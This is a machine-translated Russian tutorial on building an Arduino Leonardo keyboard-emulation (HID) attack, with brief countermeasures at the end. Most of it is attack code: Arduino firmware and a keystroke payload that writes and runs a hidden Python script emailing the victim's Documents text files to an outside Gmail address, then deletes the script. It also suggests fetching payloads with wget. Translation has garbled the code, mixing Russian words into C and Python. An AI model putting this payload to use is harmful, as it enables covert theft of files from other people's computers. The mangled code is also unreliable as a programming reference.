Оглавление:

Демонстрация использования уязвимостей клавиатуры Arduino (HID) и предотвращение: 4 шага (с изображениями)
Демонстрация использования уязвимостей клавиатуры Arduino (HID) и предотвращение: 4 шага (с изображениями)

Видео: Демонстрация использования уязвимостей клавиатуры Arduino (HID) и предотвращение: 4 шага (с изображениями)

Видео: Демонстрация использования уязвимостей клавиатуры Arduino (HID) и предотвращение: 4 шага (с изображениями)
Видео: ANDRAX: ЭТО НЕ СМАРТФОН, ЭТО }{АKЕPФ0Н | UnderMind 2024, Ноябрь
Anonim
Image
Image
Сборка устройства
Сборка устройства

В этом проекте мы собираемся использовать arduino leonardo для имитации возможной атаки USB с использованием HID (интерфейсное устройство humain).

Я создал это руководство не для того, чтобы помочь хакерам, а чтобы показать вам некоторые реальные опасности и способы защиты от этих опасностей. Это устройство не является устройством, которое можно использовать на любой платформе для хакеров, это скорее детальное подтверждение концепции.

Мы собираемся узнать следующее:

- как использовать arduino leonardo для эмуляции клавиатуры

- как читать данные с SD-карт

- как создать скрипт на Python, который сканирует файлы и отправляет их по электронной почте

- как защитить себя от взлома USB-устройств

Шаг 1: материалы

Части:

1. Ардуино Леонардо

2. Кардридер micro USB

3. SD-карта на несколько ГБ

4. кнопка, подобная этой (VCC, Земля и сигнал)

5. Кабельные перемычки «мама-папа» и «мама-мама»

6. Кабель micro USB - USB

Шаг 2: Сборка устройства

Сборка устройства
Сборка устройства

Перед инструкцией по сборке рассмотрим принцип работы:

Arduino leonardo может вести себя как устройство с человеческим интерфейсом (HID) и, следовательно, может имитировать мышь и клавиатуру. Мы собираемся использовать эту функцию, чтобы открыть терминал (в UBUNTU linux) и написать небольшой скрипт, который будет обращаться к папке / Documents внутри домашней папки пользователя, копировать туда файлы.txt и отправлять их кому-нибудь по электронной почте. Если вы хотите узнать больше, перейдите к следующему шагу.

Поскольку это демонстрационное устройство, все действительно просто, мы не собираемся ничего паять.

Инструкции по сборке

Перед тем, как начать, проверьте прикрепленные файлы, я прикрепил схемы фритзинга и все необходимые файлы.

1. Соберите компоненты:

* подключите кабель micro USB к arduino

* подключите ключевой переключатель к Arduino (земля, модуль vcc и выход к D8)

* подключите кардридер к ардуино (используя заголовок ICSP). Arduino leonardo не имеет разъема ICSP, подключенного к цифровым контактам, поэтому вам необходимо подключить устройство чтения карт к заголовку ICSP. Вы можете найти некоторые рисунки ICSP здесь: https://learn.sparkfun.com/tutorials/installing-an…. Подключите контакт SS к цифровому контакту 10.

2. Получите код arduino, вы можете клонировать мой репозиторий arduino на github: https://github.com/danionescu0/arduino и перейти в проекты / keyboard_exploit или получить его снизу:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" Строка filenameOnCard = "hack.txt"; Строка sleepCommandStartingPoint = "Sleep::"; Строка commandStartingPoint = "Команда::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, ВВОД); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println («Карта вышла из строя или отсутствует!»); возвращение; }} недействительный цикл () {int buttonState = digitalRead (buttonPin); если ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println («Загружено!»); задержка (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Файл dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println («Указанное имя файла отсутствует на SD-карте, проверьте filenameOnCard!»); } Строка строки; в то время как (dataFile.available ()) {строка = dataFile.readStringUntil ('\ n'); Serial.println (строка); sendToKeyboard (строка); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; если (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (строка); возвращение; } если (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Текст:"); Serial.println (строка); Keyboard.println (строка); нажмите Ввод(); возвращение; } Serial.println ("Команда:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; в то время как (рабочая строка! = "") {рабочая строка = рабочая строка.substring (charPosition); Serial.print ("Рабочая строка:"); Serial.println (рабочая строка); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Команда найдена:"); Serial.println (команда); Keyboard.press (getCommandCode (команда)); задержка (delayBetweenCommands); }} Keyboard.releaseAll (); задержка (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (строка строки) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Сон для:"); Serial.println (sleepAmount); задержка (sleepAmount); } char getCommandCode (текст в виде строки) {char textCharacters [2]; text.toCharArray (textCharacters, 2); код символа = textCharacters [0]; код = (текст == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: код; код = (текст == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: код; код = (текст == "KEY_LEFT_ALT")? KEY_LEFT_ALT: код; код = (текст == "СТРЕЛКА_КЛЮЧА_ВЕРХ")? KEY_UP_ARROW: код; код = (текст == "СТРЕЛКА_КЛЮЧА_ВНИЗ")? KEY_DOWN_ARROW: код; код = (текст == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: код; code = (текст == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: код; code = (текст == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: код; код = (текст == "KEY_BACKSPACE")? KEY_BACKSPACE: код; code = (текст == "KEY_TAB")? KEY_TAB: код; код = (текст == "KEY_RETURN")? KEY_RETURN: код; код = (текст == "KEY_ESC")? KEY_ESC: код; code = (текст == "KEY_INSERT")? KEY_INSERT: код; код = (текст == "KEY_DELETE")? KEY_DELETE: код; код = (текст == "KEY_PAGE_UP")? KEY_PAGE_UP: код; код = (текст == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: код; code = (текст == "KEY_HOME")? KEY_HOME: код; code = (текст == "KEY_END")? KEY_END: код; code = (текст == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: код; код = (текст == "KEY_F1")? KEY_F1: код; код = (текст == "KEY_F2")? KEY_F2: код; код = (текст == "KEY_F3")? KEY_F3: код; код = (текст == "KEY_F4")? KEY_F4: код; код = (текст == "KEY_F5")? KEY_F5: код; код = (текст == "KEY_F6")? KEY_F6: код; код = (текст == "KEY_F7")? KEY_F7: код; код = (текст == "KEY_F8")? KEY_F8: код; код = (текст == "KEY_F9")? KEY_F9: код; код = (текст == "KEY_F10")? KEY_F10: код; код = (текст == "KEY_F11")? KEY_F1: код; код = (текст == "KEY_F12")? KEY_F2: код;

код возврата;

}

3. Загрузите код в arduino, обязательно выберите скорость 9600 бод, последовательный порт и arduino leonardo

4. Отформатируйте sd-карту с помощью FAT16 или FAT32

5. Если вы клонировали репозиторий github сверху, скопируйте файл hack.txt на карту, если он не указан ниже:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser из электронной почты. MIMEMultipart импортировать MIMEMultipart из электронной почты. MIMEBase импортировать MIMEBase из электронной почты. MIMEText import MIMEText from email. Utils import COMMASPACE, formatdate from email import Encoders

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'Receiver_address' scan_documents_location = 'Документы'

subject = body = 'Файлы со взломанного компьютера'

header = 'Кому: {0} nFrom: {1} nSubject: {2} n'.format (to_address, smtp_user, subject)

def sendMail (кому, тема, текст, файлы = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (текст)) для файла в файлах: part = MIMEBase ('application', «octet-stream») part.set_payload (open (file, «rb»). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (файл)) msg.attach (часть)

сервер = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], тема, тело, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Отредактируйте следующие строки:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'Receiver_address'

И замените на свои адреса электронной почты

7. Извлеките карту и вставьте ее в кардридер Arduino

Шаг 3. Подробно о том, как это работает

Как будет работать атака:

1. При нажатии кнопки leonardo считывает sd-карту с помощью устройства для чтения sd-карт. На карте будет находиться специальный файл с ключами и комбинациями клавиш. Имя файла - «hack.txt».

Файл может содержать необработанный текст, и он будет передан на клавиатуру в неизменном виде.

Также он может содержать специальные команды, такие как «Sleep::» и «Command::».

Строка вроде:

Sleep:: 200 означает сон 200 мс

Строка вроде:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t означает нажатие левой клавиши Ctrl, нажатие левой клавиши Alt, нажатие t и отпускание всех элементов

Вы можете проверить все специальные ключи здесь:

2. Леонардо будет читать строку за строкой, интерпретировать команды и подражать клавишам на клавиатуре. Файл "hack.txt" содержит комбинацию клавиш, которая выполняет следующие действия (для UBUNTU linux):

а. открывает терминал (CTRL + ALT + T)

б. открывает файл python для создания с помощью vi (пишет «vi hack.py»

c. записывает внутри скрипт python, который собирает все текстовые файлы внутри домашней папки документов и отправляет их на указанный адрес Gmail.

d. запускает файл в фоновом режиме ("nohup python hack.py &")

е. удаляет файл (rm -rf hack.py)

f. закрывает терминал (ALT + F4)

Все это выполняется за несколько секунд и не оставляет следов.

Улучшения и устранение неполадок

* Вы могли заметить, что после того, как я открываю терминал, я пишу файл python. Лучше всего разместить его где-нибудь и загрузить с помощью команды "wget some_url", а затем переименовать в hack.py

* Также мы можем скачать или запустить готовый эксплойт для целевой операционной системы.

* Wi-Fi можно добавить в модуль, а хаки можно загрузить через WIFI

* вы можете использовать arduino micro (который намного меньше) и встроить в него код эксплойта (чтобы он был меньше)

Ограничения

1. Поскольку моделируемое устройство (клавиатура и мышь) не имеет обратной связи, мы не знаем, что произойдет после выдачи команды, что означает необходимость использования задержек. Например, я даю команду для открытия терминала, но я не знаю, когда он действительно откроется, поэтому мне нужно указать произвольную задержку, чтобы символы, введенные после, не были потеряны.

2. Мы можем столкнуться с проблемами разрешения, такими как отсутствие доступа к USB-порту или разрешение на установку чего-либо.

3. Скорость набора на leonardo не так уж и велика.

4. Будет работать только на целевой операционной системе (в нашем случае UBUNTU linux)

На следующем шаге мы попытаемся найти способы использовать эти ограничения, чтобы предотвратить взлом нашего компьютера.

Шаг 4: Контрмеры

1. Отключение USB-портов

- для Windows вы можете проверить это руководство:

2. Добавьте USB-устройства в белый список:

- для windows:

2. Заблокируйте компьютер, когда вас нет дома

3. Не входите в систему как root (требуются пароли для установки чего-либо)

4. Будьте в курсе последних событий (автоматические обновления включены)

Рекомендуемые: